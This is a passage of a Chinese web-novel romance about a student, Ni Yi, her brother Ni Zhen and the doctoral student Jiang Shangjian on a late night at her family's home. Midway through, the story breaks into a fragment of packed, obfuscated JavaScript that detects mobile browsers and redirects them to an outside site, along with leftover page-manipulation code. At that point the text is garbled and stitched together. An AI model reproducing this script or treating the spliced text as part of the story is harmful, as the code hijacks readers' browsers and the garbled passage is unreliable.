“淋好了。”蒋商鉴递给她那碗,自己则攥着那枫糖浆玻璃瓶把玩。 “你知道我为什么指使你?要是我自己淋,也许一下子意志坚定起来,淋得极少极少的,可是你,我知道,你不好意思弄太少的。” 倪旖带着点娇媚稚气,眼角弯弯。 蒋商鉴都快被感化。 她真的好可爱呦。 他都快迷糊死。 “给,我记得你爱喝的。”倪旖从小冰柜掏出罐冰可乐给他,言谈间颇有打情骂俏意味。 “你怎么知道?”蒋商鉴清脆撬开易拉罐拉环,点点二氧化碳气体微微凉氤氲出来,绕着他指间,些许颗粒状滴落指关节,便凑上去含了下。 “朋友圈啊。”倪旖笑得痴傻。 “记性真好。”蒋商鉴笑道。 倪旖如无其事飘飘道:“不,你不知道,我平时记性最坏的。” 听她这话,蒋商鉴心砰的一声跳。 倪旖笑得放肆,嘲弄道:“我就试试撩人技术,这还是我前男友教的。” “……”蒋商鉴无语上脸,“你这么小,等长大谈吧,前男友怎么来的?别告诉我,你玩乒乓随口答应的。” “……”倪旖摆摆头,那叉子吃枫糖浆华夫饼,真得很甜,跟泡水似的。 倪旖又在抽屉找些小零嘴,其中有鱼皮,拿着一大片不停嘎嘣嘎嘣地吃,一边吃,一边和蒋商鉴聊八卦事。 蒋商鉴懒懒倚靠桌面,看倪旖吃鱼皮看得出神,问她:“你咋吃那么香啊?这玩意儿有这么好吃吗?” 倪旖憨憨看着他笑,点头,嗯。 蒋商鉴看愣神,真的很有灵性的小女孩,品了一口咖啡,摩挲指间含着玫瑰香气的纸页,继续出神望着。 “师哥,之前有喜欢过人嘛?”倪旖就爱唠嗑,一聊天贼精神,都不打瞌睡,眼睛好奇得冒绿光,夜小猫似的。 “没有。”蒋商鉴陪着她聊天。 “真奇怪啊,一般高中就得有初恋的,你别说忙学习,很假的。”倪旖握着一杯热水悠悠道。 倪旖安静坐书桌前,翻开书页写几个字符,注意回答便将两条腿都蜷到椅上,摆弄着一直放在桌面那多肉植物。 拔刺玩。 挺无聊的。 “我一直独自生活,我亲生父母都离异,各自有生活,不方便打扰,结束课程还得给我邻居妈妈按摩,她偏瘫,十多年搁床上呢。” 蒋商鉴指尖摩挲桌面,眼神落寞。 倪旖一愣,随后立马起身给他大大拥抱,耳朵贴他微凉锁骨,感受他心脏跳动,轻轻道:“商商辛苦啦。” “还行。”蒋商鉴摸摸她的脸。 “现在呢?”倪旖心都碎掉。 “我母亲改嫁生个儿子,比我小两岁,现在肚子里还有一个,五个月。我爸跟小三生对儿女,小三本来还有个亲生女儿,坏事做多,他被车撞到脑积水在医院续命,他儿子比我大一岁,跟混混似的,女儿比我小七岁,又蠢又跋扈。小三市井刻薄。” 蒋商鉴缓缓诉说,跟不是自己经历似的,没半点起伏。 倪旖想,他爸很混蛋,基因都差。 “那钱是妈妈给?”倪旖好奇道。 “邻居妈妈身体好的时候摆早餐车赚的,一直攒着,身体好的时候总照顾我。没要过我妈钱,她拿钱爽快,攀上个生意人,挺自恋,老想拿钱打发,怕我干涉她好日子,其实,我都不乐意搭理她。” 蒋商鉴一直将她当做朋友,会说点掏心窝子的话。 倪旖沉默两秒,她都感慨自己的体质容易吸引碎冰冰。 “商商,从南方到北方,从山城到海边,这六年过来学习,应该需要很大勇气吧。”倪旖退回位子,抱着枕头缩在椅里。 “嗯,我那妈总怕我烦她,威胁她好日子,我就离远远的,就去外面闯荡,邻居妈妈也支持。”蒋商鉴轻描淡写。 其中各种心酸也只有他知道。 倪旖攥着他衣袖,抬眸望着:“那为什么会选择岽大啊?” “不是所有人都能毫无顾忌上燕颐,岽大是我权衡利益后最佳选择,免学费有入学奖学金还有各种补助,关键靠海,挺好的。”蒋商鉴腰腹微微贴着办公桌面。 “我不太了解,但岽大确实挺有钱的。”倪旖装傻充愣。 “倪旖,其实有些人干到死都上不了燕兆,在你认知里可能没这回事,你那竞赛班,最差都是C9,好的去藤校进修,但一般中学都是小镇做题家,早上六点起凌晨两点睡,要死要活也碰不着末流985。” 蒋商鉴淡淡道,阐述残酷事实。 “……” “早恋一般发生在学霸或者学渣身上,中间段普通家庭的不敢谈,怕影响考大学,他们只有高考。” “……” 蒋商鉴微微酸涩道:“有时候我会想,读书是为了脱贫还是为了求知?” 倪旖哑口无言。 “我好像快坚持不下,我准备舍弃来之不易的直博资格,中途转为硕士毕业,没想到刚开题误打误撞被迫延毕,只能当博士。”蒋商鉴自嘲道,似乎很疲倦,近了瞧眼眶是深陷的,眼周阴影很深。 倪旖实在不知道说什么。 “商商好累。” 倪旖嗫嚅道,心的一角都湿润。 她要是早一点遇到蒋商鉴那就好了。 她就可以早点保护他。 “话说多了,”蒋商鉴自嘲般笑笑道,“你也不需要考虑普通人情况。” “商商,我虽然不懂,但我愿意听你说的。”倪旖共情能力有限,蹩脚生硬来了句上不了台面的安慰话。 蒋商鉴唇角微微上扬:“嗯,你找我,是因为前男友烦你?” “……”倪旖攥着叉子恨恨划开,虽然无语,但恨不得把吃掉人说,“其实,呃,就,我没,不是,我没前男友。” “那就是联姻对象?”蒋商鉴脑子嗡嗡响了两声,没什么表情地盯着眼屏幕,每一个字都变得模糊起来,像岸边垂死挣扎的鱼。 倪旖就一直看着懒散搭在隔板的那只手,看着它忽而五指僵硬地绷直,手背上青筋毕露,忽而又紧紧攥住玻璃边缘,凸起清晰的骨节。 “姐,哥,睡觉吧,我都困了。” 倪旖吓得一激灵。 倪箴慢慢悠悠从一旁沙发起来,睡眼惺忪揉揉脑袋,眼圈微微红,一看就是失眠憋的,打哈切道:“孤男寡女,我怕你出危险,是说你,哥哥,我姐可狂野。” 31.有蛇 “……”蒋商鉴挺喜欢这傻弟。 特典型美式大甜心。 “我都等到快两点,没睡呢,都听着了,我姐瞎逼逼赖赖,哥哥别理她,而且我不傻,我也想争家产的,我恨不得把倪旖一脚踹出门,独吞财产。” 倪箴嗓音微微哑,又靠枕上睡着。 “他没事,傻,不会说出去。”倪旖对弟弟没防备,他都是自己人,蒋商鉴貌似也挺喜欢他的。 “没生气。”蒋商鉴安慰她,瞥见倪箴黯淡手机屏,实验室监控赫然在目,他弟弟看着傻,心思很紧密,大智若愚。 倪箴直勾勾盯着蒋商鉴,扯唇淡淡道:“睡觉吧,我听酸话都快死,姐,你等到了岽大再谈,否则妈把你头打掉,就算你已经成年了。” 蒋商鉴微微抿唇,这弟弟真的够明智的,很聪明。 倪箴用不容置疑语气道:“哥哥,给我倒杯水呗,隔壁那里就有。” 蒋商鉴点点头,转身离开。 等人关上门,倪箴脸色立马垮,从沙发跳起,严肃道:“倪旖,你听着,不允许再这样跟男人相处一室。” “是我错了,他都挺好的。”倪旖直接认错,弟弟其实大是大非前清醒。 倪箴用食指点点她额头,咬牙切齿道:“你真蠢啊,就算好,那也不能单独在实验室,惹是非啊。” “那你陪熬夜做实验,我太激动,总算遇着长得好看又有共同语言的人,人也不错啊。”倪旖分享鱼皮零食。 “我刷牙了,不吃,姐,你得悠着点,有事给我打电话,别跟男人单独相处,我是男的,我很明白他脑袋想什么。”倪箴摸摸她脑袋,真怕她有天会出事。 “啊?”倪旖被他突然成熟吓到。 倪箴吊儿郎当又带点认真:“姐,我是你弟弟,这个给你。” 倪旖就见他递来从花园拔的玫瑰。 还带着露珠。 一定有诈。 “大概六英寸长,红色螺旋形状,贴有一条绿色的线状物。”倪旖解释,描述得有点学术。 “还有呢?”倪箴有点无语。 倪旖似乎有点为难,停顿两秒,试探道:“它缺乏柏拉图多面体单纯对称性,或许它具有更高层次对称形态。” “这是玫瑰,”倪箴都嫌弃,“你要想要花,我送你。你要想要爱,我给你。我会保护你,因为我是你弟弟。” “箴箴最有担当啦。因为有了你,姐姐才变成了姐姐。”倪旖很是欣慰,笑得合不拢嘴,一片面包换弟弟,就算损失半个家产,很值得的。 “长点心眼。”倪箴回沙发睡觉。 “回家睡觉,箴箴还要长个子,沙发撑不开脚。”倪旖去攥着他手腕往上拉,他就跟闹脾气似的往前拽。 倪箴起来笑得放肆勾着姐姐肩膀,摁着门扶手,抬眸蒋商鉴等在门边,也没接水,挺有眼力见。 倪旖笑嘻嘻道:“大胆刁弟,竟敢谋杀亲姐,找死。” 倪箴不理会,死搂着她脖颈,必须把死鬼男人搁眼底下瞅着才放心,便邀请道:“哥哥,一起回去,跟我睡吧。” “有客房。”倪旖道。 “没打扫啊。”倪箴睨一眼。 “那行。”倪旖垂眸同意。 蒋商鉴还没说啥就被安排得明白。 “说个笑话,学校实验室很乱,老师说要将钢瓶绑到墙上,其实,那叫采取防倾倒措施。”倪旖笑道,靠在弟弟臂膀上,小男子汉慢慢成长。 “……”倪箴很懵。 “是挺好笑。”蒋商鉴怕冷场。 蒋商鉴双眼皮被倦意扯宽,像个瘾君子,垂眸倦意袭来,微微打个哈切。 倪旖跑得很快,一件白色没系顶端扣子的对襟小褂,像翅膀似的在她身体两侧伸展开,微瘦锁骨处跟蝴蝶似的。 “倪箴,走啦。”倪旖攥他衣袖。 倪箴困得眼皮儿都耷拉下来,跟没骨头似的软绵绵靠着,时不时打哈切。 倪旖扭头元气满满催促:“师哥,快点跟上。” 蒋商鉴小跑着过去。 倪旖顺手挽着他臂弯,很暖心抬眸望着说:“商商也不能落下。” “谢谢。”蒋商鉴微微抿唇浅笑。 倪箴敷衍附和道:“哥哥不能落下。” 倪旖胳膊肘捣捣他,真烦啊,死绿茶婊弟弟,欠揍。 倪箴摸摸心脏,一副吃瘪模样。 仨人进了屋。 “哥哥跟我来,先去我卧室洗澡,我给你找睡衣。”倪箴拉着蒋商鉴胳膊就往室内电梯走,等电梯门关上,脸色微变,摁着二楼键松口气。 片刻间,蒋商鉴理解他意思,撇头微微开口平常道:“有事就说吧。” “哥哥果然聪明,”倪箴拍拍手掌表示欣赏,抬手揉揉鼻尖微带点痞,吊儿郎当飘飘问,“我听到监控对话。” “我喜欢她,只是喜欢。”蒋商鉴表态,那灵气逼人的眼眸像魔鬼般咬噬着他的心。她喜欢什么颜色的麻袋呀?好想装回去。 倪箴懒懒斜靠电梯微凉,指尖戳戳他臂肘腕,抬眸睫毛颤颤:“你的事会解决好的,是指被小老板夏枫压榨。” “谢谢。”蒋商鉴点点头。 “我希望你不要让她难过,她是个很好的女孩,很值得被喜欢。” “嗯。” 倪箴耸耸肩,勾搭他胳膊,把这茬快速忘掉,笑道:“睡衣都有一次性,很干净的。衣服先换下来,有好多男款衣裳都没穿过,你可以找一套顺眼的将就着。” 蒋商鉴往走廊尽头去,进间卧室,里面全是各种二次元手办,典藏款等身美国队长,微微惊讶张嘴,目不暇接。 “这睡衣还有内裤,都是新的,你先洗澡。”倪箴从衣柜拿衣裳给他,随后摁着门把手离开卧室,上楼去倪旖卧室敲敲门。 倪旖刚眯着眼睛困倦,都不乐意从地毯上慢慢爬起来,生理性心脏加速,微微蹙着眉拉开门:“嗯?” “先进去?”倪箴虽是询问,直接扭腰进去,顺便锁门,微微俯身,“倪旖,保护意识太差,你对蒋商鉴到底什么想法?该不会真的喜欢那穷鬼男人。” “当然不是。”倪旖又懒散歪地毯上,打打哈切。 “那为什么?”倪箴直接戳破她。 “我需要全心全意照顾我的男人,爱最能捆绑人。”倪旖理智道。 “……”倪箴用脚轻轻踢她小腿。 “我喜欢驯服,自尊很强的蒋商鉴满足要求,我到三十,蒋商鉴也老了,我自然会厌倦,再找个合适小奶狗人选继续照顾我,不好嘛?”倪旖冰冷道。 “你别竹篮打水。”倪箴不放心。 “我从不帮没利益的忙。”倪旖脸色微微晦暗。 倪箴真觉得白担心,无奈道:“你啊,别把自己玩脱了。” “蒋商鉴,很有意思,驯服具备挑战性。”倪旖饶有趣味道。 倪箴怕她玩脱,蹙眉叉腰道:“找个保姆照顾你,就别耽误人。” “保姆会偷我的小蛋糕。”倪旖振振有词。 “……”倪箴都无语,她还记得幼儿园奖励小蛋糕被保姆吃掉,很记仇。 “还有小熊饼干。”倪旖补充。 “你装傻白甜,还好为人师,特愚蠢,真的。”倪箴嘲笑她,俯身攥着水壶倒水喝,随意抿一口。 “我喜欢他,但喜欢最难琢磨,我怕他会变。”倪旖脸色惨白,满眼都是空旷,连她都没注意无意识从床底掏出藏好的烟。 倪箴看着那缱绻烟圈,像是看见一个可爱小恶魔,犹豫片刻,挑眉凑上去试探问:“姐,想尝一口。” 倪旖掸了掸指尖香烟,多余烟灰随之掉落,星火处尘烟荡起一圈幅度,微抬手:“睡觉吧。” 倪箴叹息,给她一张纸。 倪旖接他递来的纸巾,掩面咳嗽,咳得肺部不痒才停下来,脸色浮上一点红潮:“别告状。” “他真的会一直喜欢你嘛?”倪箴抿唇。 倪旖瞪他一眼,眼色冰凉。 “睡觉吧,我回去。”倪箴放弃劝服,攥着杯就走出去,回卧室。 蒋商鉴微微打盹睡姿太端正了,单手撑额,椅背不过微微倾斜,一双长腿交叠在餐桌座底,怀里躺着本建模册。 “啧”一声,懒洋洋,倪箴眼尾细挑,漫不经心迈开步。 蒋商鉴微微睁开眼,笑道:“你是在学建模?” “随便看看。”倪箴谦虚道,“哥哥也学过数学建模?” 蒋商鉴就经济学与军事问题中的具体建模案例讲了讲。 倪箴听入了神,眉渐渐舒展,小声嘀咕:“好像你也不算太蠢。” “……”蒋商鉴自持听力不错。 倪箴随意拾起本历史传记,垂眸笑笑,蒋商鉴离得很近,近到能看清他眼角下方那颗很淡的痣,还有低垂微微颤着的眼睫。 “康熙平三番,这平西王吴三桂曾冲冠一怒为红颜,还是败了。”倪箴轻轻吁了口气,微微一笑颔首道。 倪箴见状低头喝清水,自己年纪尚小,打定主意用典故试探也不露锋芒。只是……他侧过脸微微瞟了眼蒋商鉴,后者依旧是面无表情,冷冷淡淡的样子总让人瞧不出他的想法。 “我倒不那么认为,吴三桂的选择这时候只有一个,引清兵入关,家人没了,朝廷没了,他除了山海关什么都没了,虽然最后只抢回来一个陈圆圆,但能说吴三桂冲冠一怒为红颜么?我觉得是冲冠一怒后发现只剩红颜。” 蒋商鉴嘴角却微微勾起,连同那没抹去的血迹,恍如桃花般妖艳。 “为什么会这样认为呢?”倪箴刨根问底,企图从字里行间更理解个性。 “无意间窥见权力斗争的一隅,就算被裹挟在浪子回头的浪漫主义里,永远不改血淋淋的残酷本质。”蒋商鉴不否认自己是个机会主义者。 所谓机会主义者,就是能成王不为寇,就是只瞻前不顾后,就是哪怕一线生机都得死死攥着,不撒手。 可念这么多年书,到底被文人思维束缚。理智要求趋利避害,感性要求文人风骨,就算沦陷也是清醒的沦陷。 “你跟我姐本质上是一类人。”倪箴呢喃自语道,将杯递给他,“哥哥,水,嘴巴破了。” “嗯。”蒋商鉴接过那杯水用手背擦擦唇角血渍,微微泛着青筋的皮肤,薄薄敷着一层淡血,“你姐很可爱。” “她傲慢,嘴巴里全是仁义道德,算盘打得啪啪响。”倪箴细细摩挲着模型,淡淡道。 蒋商鉴没说话,霎那间很多和倪旖在一起的瞬间像脑海中被不小心碰掉的照片,她的笑,她的泪,她的肆意,她的猖狂……还来不及去捡,只能看着它们从眼前簌簌落下。 倪箴开玩笑缓解氛围:“我姐跟大猩猩似的发癫发情,那傻缺就爱恃才傲物,挺招烦,本性不坏的。” “……” “真的。” 眼神中带着不属于他这个青春期男孩的冷冽银光,像是看到一种愚蠢泛着老式笑话的文字,就像是嗅到池塘里那些旱鱼身上散发出腥气的臭鳞味。 倪箴用荒诞无稽话语嘲弄一番。 蒋商鉴默默注视着,他这譬喻太邪魅,连带他说话时的那瞬都太安静了,但却又有歇斯揭底般隐晦的尖叫。 好神奇的小男孩。 高智商群体很多都是大智若愚长在脸上的人,不了解的以为智商不达标。 倪箴估摸着就是。 跟他姐姐倪旖本质一类人。 甚至隐藏得更深。 他比倪旖更聪明,更适合管理商业帝国。 蒋商鉴笑了,忽然道:“你姐是不是哑巴?” 倪箴一愣,冷脸后机械性替姐姐辩驳道:“当然不是!” 蒋商鉴揉揉他脑袋,玩笑道:“那么这些话她为什么不自己来说?” 倪箴一反常态,冷冷道:“就算她是个哑巴,屁股总有的,这些屁她为什么不自己来放?” 果然啊,嘴巴都是一样的厉害。 蒋商鉴避开回答,只是指着他练习题错误浅浅笑道:“切西瓜时流出的是西瓜汁,它主要来自细胞液泡位置?” 倪箴稍显不好意思,挠挠头:“姐姐帮我写的,又欺负我理科不好。” 蒋商鉴习惯性纠正道:“流出细胞液,虽然答得没错,但要理解题意。” “嗯,哥哥帮我订正可以么?姐姐她老捉弄我,上次期末化学随堂测验填空题答案是三磷酸腺苷,我自信满满比个OK手势,她故意写303电线杆。” 倪箴很无语。 蒋商鉴淡淡笑着,想着倪旖真是古灵精怪爱捉弄人,但也是不相信倪箴装出来的那副傻白甜模样,随后不解问:“ATP不是生物学的吗?你现在的化学都接触分子生物学啊?” “我姐炫耀,非摁我头学,那是新版高中人教版教材,把ATP的名称从三磷酸腺苷改为腺苷三磷酸。也加上了水分子蛋白通道的内容。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246158|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >倪箴满脸怨气,微微垂眸间那点耍赖稚子纯真骤然消失,一种已深入骨髓的冷漠与疲倦跃然纸上,却又偏偏带着种逼人的杀气。 蒋商鉴微微错愕,注意一丝周转。 倪箴没再说话,捏着一只笔,还是铅笔,水晶草莓带香的橡皮,还是“唰唰唰”,十分钟给写完,检查一遍。 随后倪箴又去窗台趴着写题目。 倪箴顺手在一边抱着包小浣熊散装干脆面“咔嚓咔嚓”的像是地主家的小闺女,而写作业这神情像个长工家的穷苦孩子,唉,肉眼可见悲惨。 蒋商鉴修改好试卷错题就陪倪箴写作业,良心让他没法对倪箴视而不见,道德让他想抽死此人,文科类题目到解答清晰,数学物理简直令人发指。 幸好不是自己亲弟弟。 否则早死一万回。 这丫太偏科。 不对,是稀巴烂标准文科学霸。 理科烂得离谱,怕不是装的! 他一定是装的。 “哥哥,你生气了?”倪箴见他攥着拳咬牙切齿模样,试探性询问。 蒋商鉴正犹豫要不要骂他算数差,盛夏那李子落在房顶上,隔着朦胧月色顺着蓝色的瓦,“扑棱”一声,就骨碌进倪箴撑开睡衣里。 “哥哥,你吃不吃李子?” 蒋商鉴微蹙的眉稍稍舒展。 “不吃,没生气,你这准备以后从文嘛?”蒋商鉴摆摆手。 “单板滑雪比赛获奖然后在国外念商学,回家继承集团,姐姐就不用为管理这些操心,能够肆意挥霍她智商。” 倪箴淡淡道,将微微发紫的李子攥着,眼神都带着蜜汁笑意。 还都为对方考虑。 倪旖那死小孩嘴硬,估计也想给弟弟挡着一部分集团管理压力。 蒋商鉴微微叹息:“我觉得倪旖也不想你去牺牲个人兴趣的。” “我知道,”倪箴抬眸,神情雀跃道,“让我爸妈专门生个弟弟或妹妹从小培养,然后我跟倪旖就蹭吃蹭喝。” “倒是个好方法。”蒋商鉴笑道。 倪箴心脏微微暖意流过:“哥哥,你生日多少?多少岁?” “我平安夜出生,没到十九。”蒋商鉴继续翻看题集顺手勘误。 “哦?你是博士?”倪箴蹭过去,左手撑着桌面微微俯身,他生日跟姐姐每年生日趴差不多,倪旖喜欢在圣诞节过生日开派对。 “我参加基础学科树人计划,本博连读七年,这才快第六年。”蒋商鉴随意解释,只是提到生日就像身上所存在的那种寡淡的抑郁一般,晦暗阴霾。 生日就是日期,他不过生日。 圣诞节期间,别人都有伴侣过节。 谁记得他呢? “哥哥,我姐如果提出奇葩要求,你就哄着她先答应,倪旖虽然疯癫,但起码是毁誉参半,而不是声名狼藉。” “嗯?”蒋商鉴很好奇。 “哥哥,去床上睡觉。”倪箴转移话题还顺便撺掇人去床上,自己坐在微热坐垫上,“哥哥,你也喜欢这些手办吗?” “还行,好莱坞那些挺酷炫。”蒋商鉴眯着眼抬手揉揉眼眶,微微红,在被窝呼吸微微平息到酣睡。 蒋商鉴掌心贴着脸颊,指尖停在耳后,隐约地感觉到冰冰凉,他的手指很轻微地在颤抖,心猛地颤一下。 蒋商鉴抬手摸了摸,将电灯开关摁着,就见蛇缠脖子就像戴围脖那样,松松垮垮的,不会勒死他,脖会感觉冰冰凉凉的。 蒋商鉴眼看那蛇翘尾,浑身上下都透着凉意,喉咙几乎要发不出声音来,微微一动便是疼痛不堪,眨眼间便抬手攥着那缠缠绕的细蛇。 “倪箴,你的?”蒋商鉴瞳孔微微放大,难以置信地问。 倪箴淡定抬眸将那蛇转来,跟农夫与蛇的农夫似的将那小细蛇放怀里,因困倦略微显得迷糊道:“它叫旺财,养了五年没被咬过,很乖的,估计从笼里越狱,我来送它回家。” “……”蒋商鉴起来,皱着眉在床沿边坐着,等倪箴睡着后将蛇囚禁在那笼里,直接甩手丢去,那蛇蜷缩着。 蒋商鉴脸烧红一片,喉咙里像铺了一层牛轧糖糖,腻腻地痒。随后去床上睡,只连精神都警惕,怕再冒出个蛇。 蒋商鉴就一直睁眼睛,他感觉腰上搭着一只沉甸甸的胳膊。 倪箴睡觉爱搂着他腰,很热。 扒拉开手没两分钟又搂上。 蒋商鉴一遍又一遍往边挪,弟弟的手跟蛇似的缠绕他脖颈处,还冰冷的。 “倪箴,别抱我。”蒋商鉴微微蹙眉,觉得有点热,挣扎了一下,绑住他的手捆得很紧,完全无法挣开。 “大鸡腿,呜呜——”倪箴乐呵。 “……”蒋商鉴胳膊给他弄开,枕头给抱着流哈喇子,总算歇歇口气。 好久好久,蒋商鉴都睡不着,煎熬得像热锅里食材似的,蝉声以咄咄逼人之势催促着他起身,阻他睡眠。 妥协后,蒋商鉴起来,刚出卧室门口,一个伸展动作无意撩起衣摆,微微黯淡灯光从后打过来,勾勒出薄薄的衬衫布料下清瘦腰腹。 还没反应过来,感觉到倪旖猫儿样往他怀里钻了钻,听见她带着浓浓鼻音喃喃道:“我睡不着。” 她抱住自己那一秒蒋商鉴全身都僵一下,她埋在胸前低声啜泣,垂在身侧的手不禁握了握,缓缓挪到她后背轻拍几下安抚她。 “……”随后,蒋商鉴掰她脑袋,强制抬眸。 蒋商鉴语调懒洋洋,闲适得像仲夏老弄堂古榕树绿荫下摇椅摇摆,半古老顽童微微暗黄干瘪蒲扇间随意抽出的一道风。 “倪旖,看看我是谁?” 倪旖眼眸子亮堂得就像玻璃杯内小小的气泡在暗夜中往上蹿。 倪旖仍然紧搂着他腰肢小腹不放,这样温热触感,多少缓和她刚才经历的不安和惶恐,看着蒋商鉴明显脸色不济的模样,心里酸楚却有几分欣喜,轻声道:“师哥,我梦见鬼了。” “你还有害怕的?”蒋商鉴将人往一边扒拉,姐弟俩都执拗,爱搂人,死活弄不开,微翘嘴角似乎带着无奈。 蒋商鉴以手支颐,好整以暇地看着她,就像在逗弄一只小猫儿一般。 “师哥,我害怕鬼。”倪旖服软。 其实,倪旖肚子饿,想吃夜宵。 加上熬夜腰酸,久了腰疼得难受,连房间里都没锁好门,跪在地板上阴暗爬行爬十几分钟才起来觅食。 怕蒋商鉴跟她抢。 32.接吻 又怕蒋商鉴嘲笑她。 冰箱里就一盒哈根达斯。 “在想什么?”蒋商鉴不得劲。 “半夜起床先上厕所还是先喝水,真特么难决定。”倪旖很纠结。 蒋商鉴揉揉耳朵,微微蹙眉,耐心道:“你个女孩,不要整天说脏话。” “好的,那么从今天开始我就是男孩子了。”倪旖根本不理睬,纯敷衍。 “对不起。”蒋商鉴意识错误。 “我原谅你了。”倪旖脸很大。 “那先松手,好不好?”蒋商鉴商量着,怕倪旖触发暴跳如雷盛怒机制。 “师哥,你怕不怕鬼?”倪旖就想多抱着他,刻意转移话题。 “我是大人。”蒋商鉴微微叹气。 “我没问这个,你不会审题,要不要我教你?”倪旖没两句就犯厌蠢症,很明显表现不耐烦,微微抿唇蹙着眉。 “……”蒋商鉴哑口无言。 “没凶你,就是不耐烦,跟谁都一样。”倪旖端着小凳,踩上去踮起脚尖居高临下看着爸爸藏在顶层那一排芒果班戟包装盒,懒懒地叹一口气,把心里那份烦躁若无其事压下去。 来晚了啊。 就剩两盒。 又被爸爸偷吃掉。 小时候爸爸总会教育她不能老吃垃圾零食,起先倪旖还听,后来发现,daddy居然偷吃她零食,真的,干脆面泡泡糖辣条都偷吃不少,还分给妈咪吃。 给倪旖留下不少震撼。 就连爸爸微信头像还是小猪佩奇。 家长群回复收到直接被踢出群。 太假。 看着像卧底学生。 全世界都在假装大人。 蒋商鉴都快适应她口不择言,便给她递台阶顺坡下驴道:“我在玩假扮大人的游戏。” 倪旖微微侧眸,表示不解。 “嗯,就是cos,世界交给我这批人真会搞砸的,我害怕很多东西,可在假扮大人的游戏里,我得无坚不摧。”蒋商鉴半藏着说些心里话。 倪旖没回复,只是郁闷地看着芒果班戟蛋糕:“都怪你。怪你这么好吃。诱惑我大半夜逃离被窝来娶你。黄的流油的小东西。” “……”蒋商鉴是决定不跟她说些什么,她不懂,也不需要懂。 “焦虑是自由引起的眩晕,藏有童心是逃避现实的糖果,”倪旖居高俯就缓慢道,摸摸他头顶,“我的意思是,师哥,你吃不吃糖?我有很多。” 蒋商鉴抬眸时真觉得她是小天使。 倪旖微微俯身拥住他肩膀处,轻声道:“我的糖没副作用,单纯快乐。” “倪旖,”蒋商鉴一顿,“你的情商爱坐过山车。” “疲倦时就是燃料用尽处于低谷,懒得攀缘到顶峰,不过,”倪旖就爱逗他玩,爱撩拨长得漂亮的动物,人也算一种,“你愿意的话,我的游乐场只对你开放过山车顶端用户使用权限,升级尊贵的黑钻用户,全天候享受服务。” “……” 蒋商鉴赶紧给人弄开。 微微蹙眉。 准确来说,思维成熟速度远大于年龄匀速直线增长速率,猥琐发育那种。 倪旖也没气,就单纯好玩,将两盒芒果班戟撕开包装盒。 “来,这个好吃……” 蒋商鉴保持点距离。 “师哥,虽然签署合约,我暂时不会动你,特定情况会使用,懂?”倪旖略显无语,她属于颜值狗,爱漂亮的,仅此而已,还有收藏癖。 甲方一个,乙方可以有无数。 发散状箭头指向。 蒋商鉴就坐着,始终不伸手夹形状奇怪的内脏。 倪旖决定助一臂之力,把一块满是芒果酱颗粒白色奶油放到他嘴边。 蒋商鉴从不浪费食物,只好战战兢兢地把那块东西含进嘴里。 “很好吃吧?”倪旖问。 老实说,口感不错,奶油不腻歪,还有芒果味,比想象中好吃多了,但这好像正中她下怀,让蒋商鉴很不甘心,硬是不肯点头。 倪旖笑声仿佛煮沸牛奶时冒出的小小气泡,一个个地钻出来,又一个个地在他心破掉,留下甜腻腻碎沫。 蒋商鉴微微抿唇。 倪旖挖小勺奶油吃,口齿不清解释道:“这是我爸做的甜点,因为妈妈很羡慕研究所同事带老公做的便当。” “你妈不是会做饭?”蒋商鉴跟她聊。 “自己做的跟爱人做的哪一样,我妈就想炫耀我爸的爱而已,要我对象给送爱心便当盒,我会高兴到飞起。”倪旖鼓着腮跟吃多了食儿的金鱼似的。 “这不会是暗示?”蒋商鉴挑眉。 倪旖一愣,嫌弃道:“想多了。师哥,你怎么也睡不着?” “弟弟晚上睡觉磨牙,头一天晚上嘴里塞把黄豆,第二天能磨出豆浆。” “……”倪旖真的笑到头掉,好一会儿,说道,“沙发上躺着眯一会儿也行,委屈师哥了,我实在不会打扫我套房里面的房间,但也实在不想让菲佣进来。” “没事儿。”蒋商鉴着实有点困意,便溜达到沙发边躺下,刚碰着沙发就立马弹起来,满脸错愕呆愣好一会儿。 “怎么了?”倪旖注意他动作停缓,蜷缩在贵妃塌沙发一边。 “好乱。”蒋商鉴揉揉脑袋,随后自然而然把沙发上随便乱甩的衣裳叠工整,目光一扫,冷脸把人撺掇起来仔细捋捋被弄乱的垫子。 林子大了真是什么鸟都有,为什么会有人受不了躺的地方皱巴巴啊,能硌死你么!倪旖满脸懵逼站一边,刚刚才放松脑袋躺着刷手机,这莫名其妙被人叫起来,干站着等他铺平搭肚子的小空调被吗? 反正倪旖是受不了,看他弯腰收拾的那勤奋鬼样,看着看着……一气之下,倪旖没控制住情绪一脚朝他屁股上,把他踹贵妃塌去了,只是他那微醺懵逼眼神貌似得要揍人,溜,溜,溜,倪旖转身就跑……跑得不及时,直接挨了一记过肩摔。 这丝毫不留情的手法绝逼会让她两天脖子疼,手臂疼,后背疼,屁股疼,哪哪儿都疼。 倪旖揉揉后腰窝,嘟囔:“干嘛,有点痛。” “哪里痛?”蒋商鉴着急厉害,想着去看看她手腕怎么样,是不是磕着碰着。 倪旖就故意装作委屈模样,偏头眼泛泪光张开怀抱等着拥抱。 蒋商鉴见状便顺遂她意思轻轻往她身上扑了一下,想着顺势再抱住。 倪旖果然高估自己力量以及蒋商鉴对她的爱意,结果完全撑不住他的力道直接往后倒下去,整个人脑袋都要空掉。 蒋商鉴迅速一手垫在她后脖颈处,另一手抓住她往怀里拽。 还好,倪旖松口气,虽说是跌坐在地上,可被蒋商鉴护在怀里,刚才不到一秒时间,他光顾着搂住,丝毫没避开那左手背直愣愣砸在茶几桌沿上。 要不是他护着,倪旖估计脖子砸在木桌沿肯定颈椎断掉。 即便是一个乐观主义者,在涉及他爱的人时,也会变成一个悲观主义者。 就像蒋商鉴一样。 在刚刚突如其来的失控瞬间,他在想,如果倪旖摔倒,会不会磕着? 会不会痛到掉眼泪? 有淤青怎么办? 会不会流血难受? 何止这时候,在不和倪旖一起的时间,光是听捕风捉影所谓小道消息,他就会各种胡思乱想,倪旖安全么? 半夜遇见歹徒尾随的女孩不要是她,马路牙子上被交通事故创死的女孩不要是她,操场哭得崩溃的女孩不要是她…… 